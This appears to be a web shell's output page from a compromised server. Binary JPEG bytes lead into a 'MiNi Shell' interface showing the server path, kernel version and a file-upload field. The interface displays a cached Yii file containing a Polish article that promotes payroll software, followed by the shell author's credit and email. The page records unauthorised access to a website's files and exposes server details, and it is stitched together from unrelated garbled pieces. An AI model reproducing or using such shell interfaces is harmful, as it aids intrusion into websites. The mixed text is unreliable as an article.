JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/72/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/72/72ef6b2427f6d273de83fc0fba46fb95.bin

a:2:{i:0;a:2:{i:0;s:22981:" 
                    
                    <h3 class="title" itemprop="headline">Najczęstsze błędy przy naliczaniu płac i jak ich unikać</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 17-02-2025, 07:00</strong>
                        <meta itemprop="dateModified" content=" 17-02-2025, 07:00"/>
                        <div class="hide" itemprop="description">Naliczanie płac to jedno z kluczowych zadań każdego działu kadr, jednak często wiąże się z ryzykiem błędów. Nieprawidłowe obliczenie składek ZUS, podatków czy rozliczenie nadgodzin może prowadzić do poważnych konsekwencji finansowych i prawnych. Dodatkowo pomyłki w wynagrodzeniach mogą obniżyć zaufanie pracowników do pracodawcy. W artykule przedstawimy najczęstsze błędy w naliczaniu wynagrodzeń i pokażemy, jak oprogramowanie kadrowo-płacowe pomaga ich unikać, zapewniając zgodność z przepisami i precyzyjne zarządzanie danymi.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="rachunkowosc.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.rachunkowosc.org/images/loga/rachunkowosc.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/83387/crop/800x600/naliczanieplac-969010001737965549.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.rachunkowosc.org/artykuly/szczegoly/83387"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/83387/naliczanieplac.webp" alt="Najczęstsze błędy przy naliczaniu płac i jak ich unikać" loading="lazy" /></p>
<p><strong>Naliczanie płac to jedno z kluczowych zadań każdego działu kadr, jednak często wiąże się z ryzykiem błędów. Nieprawidłowe obliczenie składek ZUS, podatków czy rozliczenie nadgodzin może prowadzić do poważnych konsekwencji finansowych i prawnych. Dodatkowo pomyłki w wynagrodzeniach mogą obniżyć zaufanie pracowników do pracodawcy. W artykule przedstawimy najczęstsze błędy w naliczaniu wynagrodzeń i pokażemy, jak oprogramowanie kadrowo-płacowe pomaga ich unikać, zapewniając zgodność z przepisami i precyzyjne zarządzanie danymi.</strong></p>
<h3 style="text-align:left;">Najczęstsze błędy przy naliczaniu płac</h3>
<p>Naliczanie wynagrodzeń to proces, w którym łatwo o pomyłki, zwłaszcza w przypadku ręcznych obliczeń lub niedostosowania procedur do zmieniających się przepisów. Poniżej przedstawiamy najczęstsze błędy, jakie mogą pojawić się w tym obszarze:</p>
<ol>
<li><strong>Nieprawidłowe obliczanie składek ZUS i podatków</strong>
<ul>
<li>Błędne dane wejściowe, np. nieaktualne stawki podatkowe lub składkowe, mogą skutkować niezgodnościami w rozliczeniach.</li>
<li>Nieścisłości w naliczaniu ulg podatkowych, np. ulgi dla młodych lub pracujących emerytów.</li>
</ul>
</li>
<li><strong>Pomijanie dodatków i premii</strong>
<ul>
<li>Niedopatrzenia w naliczaniu premii, dodatków nocnych czy świadczeń pozapłacowych mogą powodować niezadowolenie pracowników.</li>
</ul>
</li>
<li><strong>Nieprawidłowe rozliczenie nadgodzin i urlopów</strong>
<ul>
<li>Brak precyzyjnego rejestrowania czasu pracy prowadzi do błędnych wypłat za nadgodziny.</li>
<li>Błędne obliczenie ekwiwalentu za niewykorzystany urlop, szczególnie przy zakończeniu współpracy.</li>
</ul>
</li>
<li><strong>Problemy z interpretacją przepisów prawa pracy</strong>
<ul>
<li>Niewłaściwe stosowanie przepisów dotyczących minimalnego wynagrodzenia, zasiłków czy zwolnień lekarskich.</li>
</ul>
</li>
</ol>
<p>Błędy te mogą skutkować problemami prawnymi, karami finansowymi oraz utratą zaufania wśród pracowników. Dlatego tak ważne jest, aby korzystać z nowoczesnych rozwiązań, takich jak program <a href="https://web.varico.pl/rp-rozliczenie-plac/" target="_blank" rel="dofollow noopener"><strong>Rozliczenie Płac RP</strong></a>, który automatyzuje procesy, minimalizując ryzyko pomyłek.</p>
<h3 style="text-align:left;">Jak unikać błędów przy naliczaniu płac?</h3>
<p>Unikanie błędów w naliczaniu wynagrodzeń wymaga przede wszystkim odpowiedniego przygotowania i wdrożenia skutecznych rozwiązań. Kluczowym elementem jest regularne podnoszenie kwalifikacji pracowników działów kadr i płac. Zmieniające się przepisy prawa pracy, nowe regulacje podatkowe oraz zasady naliczania składek ZUS sprawiają, że stałe szkolenia są niezbędne. Dzięki nim kadra zyskuje wiedzę, która pozwala lepiej rozumieć takie kwestie jak rozliczanie nadgodzin czy ulgi podatkowe.</p>
<p>Kolejnym istotnym krokiem jest <a href="https://web.varico.pl/automatyzacja-hr-elektroniczny-obieg-dokumentow/" target="_blank" rel="dofollow noopener"><strong>automatyzacja procesów kadrowo-płacowych</strong></a>. Sprawdzone oprogramowanie, takie jak Rozliczenie Płac RP, eliminuje ryzyko błędów wynikających z ręcznych obliczeń, a także uwzględnia zmiany w przepisach, zapewniając pełną zgodność z obowiązującym prawem. Ważnym aspektem jest również dokładna weryfikacja danych wprowadzanych do systemu – każda nieścisłość, np. w stawkach wynagrodzeń czy czasie pracy, może prowadzić do pomyłek.</p>
<p>Dzięki narzędziom oferującym zautomatyzowane raporty firma może łatwo wykrywać ewentualne nieprawidłowości i dokonywać ich korekty przed zatwierdzeniem wypłat. Regularna aktualizacja danych, takich jak stawki wynagrodzenia czy informacje o nadgodzinach, jest kluczowa. Wdrożenie takich rozwiązań przekłada się nie tylko na większą efektywność działania, ale również na wyższy poziom zaufania i satysfakcji wśród pracowników.</p>
<h3 style="text-align:left;">Zalety korzystania z programu Rozliczenie Płac RP</h3>
<p>Oprogramowanie kadrowo-płacowe, takie jak Rozliczenie Płac RP, znacząco usprawnia proces naliczania wynagrodzeń, minimalizując ryzyko błędów. Jednym z jego największych atutów są bieżące aktualizacje, które automatycznie uwzględniają zmieniające się przepisy prawa pracy, podatków czy składek ZUS. Dzięki temu firmy mogą mieć pewność, że obliczenia są zgodne z aktualnymi regulacjami.</p>
<p>Rozliczenie Płac zapewnia również pełną integrację z systemami księgowymi. Zaletą programu jest możliwość precyzyjnego rozliczania nadgodzin, urlopów czy premii. System automatycznie rejestruje czas pracy i uwzględnia dodatki, co eliminuje ryzyko pomyłek wynikających z ręcznego wprowadzania danych.</p>
<h3 style="text-align:left;">Dlaczego warto unikać błędów w naliczaniu płac?</h3>
<p>Błędy w naliczaniu wynagrodzeń mogą mieć poważne konsekwencje zarówno dla firmy, jak i jej pracowników. Nieprawidłowo naliczone składki ZUS, podatki czy wynagrodzenia mogą skutkować nie tylko karami finansowymi ze strony urzędów, ale także utratą zaufania ze strony zespołu.</p>
<p>Konsekwencje błędów mogą być różne, ale przede wszystkim narażamy się na Skutki prawne i finansowe:</p>
<ul>
<li>Kary administracyjne za niezgodność z przepisami.</li>
<li>Koszty związane z koniecznością korekty błędnych naliczeń.</li>
</ul>
<p>Co więcej, tak jak wspomniano wcześniej, jesteśmy mniej wiarygodnym pracodawcą. W konsekwencji tracimy zaufanie pracowników:</p>
<ul>
<li>Opóźnienia w wypłatach lub nieprawidłowe kwoty mogą prowadzić do frustracji.</li>
<li>Następuje spadek zaangażowania i lojalności wobec pracodawcy.</li>
</ul>
<p>Unikanie błędów w naliczaniu płac to także sposób na budowanie profesjonalnego wizerunku firmy. Precyzyjne i terminowe wypłaty świadczą o dbałości pracodawcy o swoich pracowników, co pozytywnie wpływa na morale w zespole.</p>
<p>Dzięki programom takim jak Rozliczenie Płac RP, firmy mogą zminimalizować ryzyko pomyłek i zapewniać zgodność z przepisami. Automatyzacja procesów oszczędza czas i redukuje stres związany z ręcznymi obliczeniami, umożliwiając skupienie się na bardziej strategicznych zadaniach. Inwestycja w sprawdzone oprogramowanie to nie tylko korzyść dla firmy, ale także dla jej pracowników, którzy mogą liczyć na dokładne i terminowe wynagrodzenia.</p>                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            Varico <br><strong>Autor:</strong> Iga Damy                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Varico" class="label label-default">Varico</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Rozliczenie+Płac+RP" class="label label-default">Rozliczenie Płac RP</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=naliczanie+płac" class="label label-default">naliczanie płac</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=obliczenie+składek+ZUS" class="label label-default">obliczenie składek ZUS</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=rozliczenie+nadgodzin" class="label label-default">rozliczenie nadgodzin</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=oprogramowanie+kadrowo-płacowe" class="label label-default">oprogramowanie kadrowo-płacowe</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=automatyzacja+procesów+kadrowo-płacowych" class="label label-default">automatyzacja procesów kadrowo-płacowych</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.rachunkowosc.org/artykuly/szczegoly/83387_najczestsze-bledy-przy-naliczaniu-plac-i-jak-ich-unikac" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                                                                    <p class="strong">Artykuł został dodany przez firmę</p>
                        <div class="media list">
                            <div class="media-left">
                                                                <a class="fill light-border-right" href="/firmy/dane-kontaktowe/11644_varico">
                                    <div class="flex">
                                        <img loading="lazy" class="img-responsive inline" style="padding:0;width:100px;" src="https://common.v-manager.pl/uploads/images/companies/9187/frame/100x80/varico_1900x779-140488001728285095.webp" alt="Varico  - zdjęcie">
                                    </div>
                                </a>
                                                            </div>
                            <div class="media-body">
                                <a href="/firmy/dane-kontaktowe/11644_varico">
                                    <h5 class="media-heading title">Varico </h5>
                                </a>                                
                                                                    <p class="text-justify nomargin">Producent oprogramowania finansowo-księgowego oraz do obsługi sprzedaży i magazyn&oacute;w, dla małych, średnich i dużych przedsiębiorstw. Działamy nieprzerwanie od 1989 roku realizując naszą misję &quot;... w biznesie warto na nas liczyć&quot;.</p>
                                                
                                                                    <p class="text-right"><a class="btn btn-default portal-button" href="/firmy/dane-kontaktowe/11644_varico">Zapoznaj się z ofertą firmy</a></p>
                                                            </div>
                        </div>
                        <hr class="portal-hr">
                        <div class="clearfix"></div>
                    
                    <div id="articles">    
                        
                    
                                            <p class="strong">Inne publikacje firmy</p>  
                        
                        <div class="row">
                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85199_unijna-dyrektywa-o-jawnosci-wynagrodzen-co-wprowadza">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85199/frame/80x60/varico1-966977001754889514.webp" alt="Unijna Dyrektywa o jawności wynagrodzeń – co wprowadza? - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85199_unijna-dyrektywa-o-jawnosci-wynagrodzen-co-wprowadza" class="media-body">
                                <h3 class="media-heading">Unijna Dyrektywa o jawności wynagrodzeń – co wprowadza?</h3>
                                <p>Unijna Dyrektywa o jawności wynagrodzeń (2023/970) to odpowiedź na długo utrzymującą się nierówność...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85131_przyspiesz-wdrazanie-ksef-w-swoim-biurze-z-ksef-pro">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85131/frame/80x60/ksef-962837001754306695.webp" alt="Przyspiesz wdrażanie KSeF w swoim biurze z KSeF PRO - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85131_przyspiesz-wdrazanie-ksef-w-swoim-biurze-z-ksef-pro" class="media-body">
                                <h3 class="media-heading">Przyspiesz wdrażanie KSeF w swoim biurze z KSeF PRO</h3>
                                <p>W przyszłym roku w Polsce ma zostać wprowadzony obowiązek fakturowania przez Krajowy System e-Faktur...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85040_pracuj-zdalnie-na-wspolnych-danych-chmurowe-rozwiazanie-dla-biura-rachunkowego">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85040/frame/80x60/zdalna-319002001753685600.webp" alt="Pracuj zdalnie na wspólnych danych – chmurowe rozwiązanie dla biura rachunkowego - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85040_pracuj-zdalnie-na-wspolnych-danych-chmurowe-rozwiazanie-dla-biura-rachunkowego" class="media-body">
                                <h3 class="media-heading">Pracuj zdalnie na wspólnych danych – chmurowe rozwiązanie dla biura rachunkowego</h3>
                                <p>Jeśli chcesz, aby Twój zespół pracował zdalnie na wspólnych danych bez kosztownego sprzętu i skompli...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85000_ocr-co-musisz-wiedziec">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85000/frame/80x60/ocr1-102101001753074521.webp" alt="OCR – co musisz wiedzieć? - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85000_ocr-co-musisz-wiedziec" class="media-body">
                                <h3 class="media-heading">OCR – co musisz wiedzieć?</h3>
                                <p>Przepisywanie danych z faktur to prawdziwa zmora wielu księgowych. Na szczęście z pomocą przychodzi...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84974_jak-wyceniac-uslugi-ksiegowe-poradnik">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84974/frame/80x60/poradnik1-210778001752559810.webp" alt="Jak wyceniać usługi księgowe? Poradnik - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84974_jak-wyceniac-uslugi-ksiegowe-poradnik" class="media-body">
                                <h3 class="media-heading">Jak wyceniać usługi księgowe? Poradnik</h3>
                                <p>Wycena usług księgowych to nie tylko ustalenie ceny, ale przede wszystkim budowanie wartości i zaufa...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84889_praca-sezonowa-pracownikow-mlodocianych-w-2025-r">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84889/frame/80x60/pracasezonowa1-225289001751862824.webp" alt="Praca sezonowa pracowników młodocianych w 2025 r. - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84889_praca-sezonowa-pracownikow-mlodocianych-w-2025-r" class="media-body">
                                <h3 class="media-heading">Praca sezonowa pracowników młodocianych w 2025 r.</h3>
                                <p>Lato to idealny moment, by młodzi ludzie zdobyli pierwsze doświadczenie zawodowe. Wielu nastolatków...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                </div>
                        
                                                <div class="clearfix"></div>
                        <hr class="portal-hr">
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:4:{i:0;s:13:"article_83387";i:1;s:8:"articles";i:2;s:21:"company_9187_articles";i:3;s:12:"company_9187";}s:4:"data";a:4:{s:32:"2636bbe2c1d58d322d76a63882827426";s:21:"0.71982400 1739772777";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";s:32:"6f42272609f366e97355ed7e7206c2db";s:21:"0.46206100 1754889761";s:32:"dd025abb976b8c9917304b153be19824";s:21:"0.08936000 1728884934";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com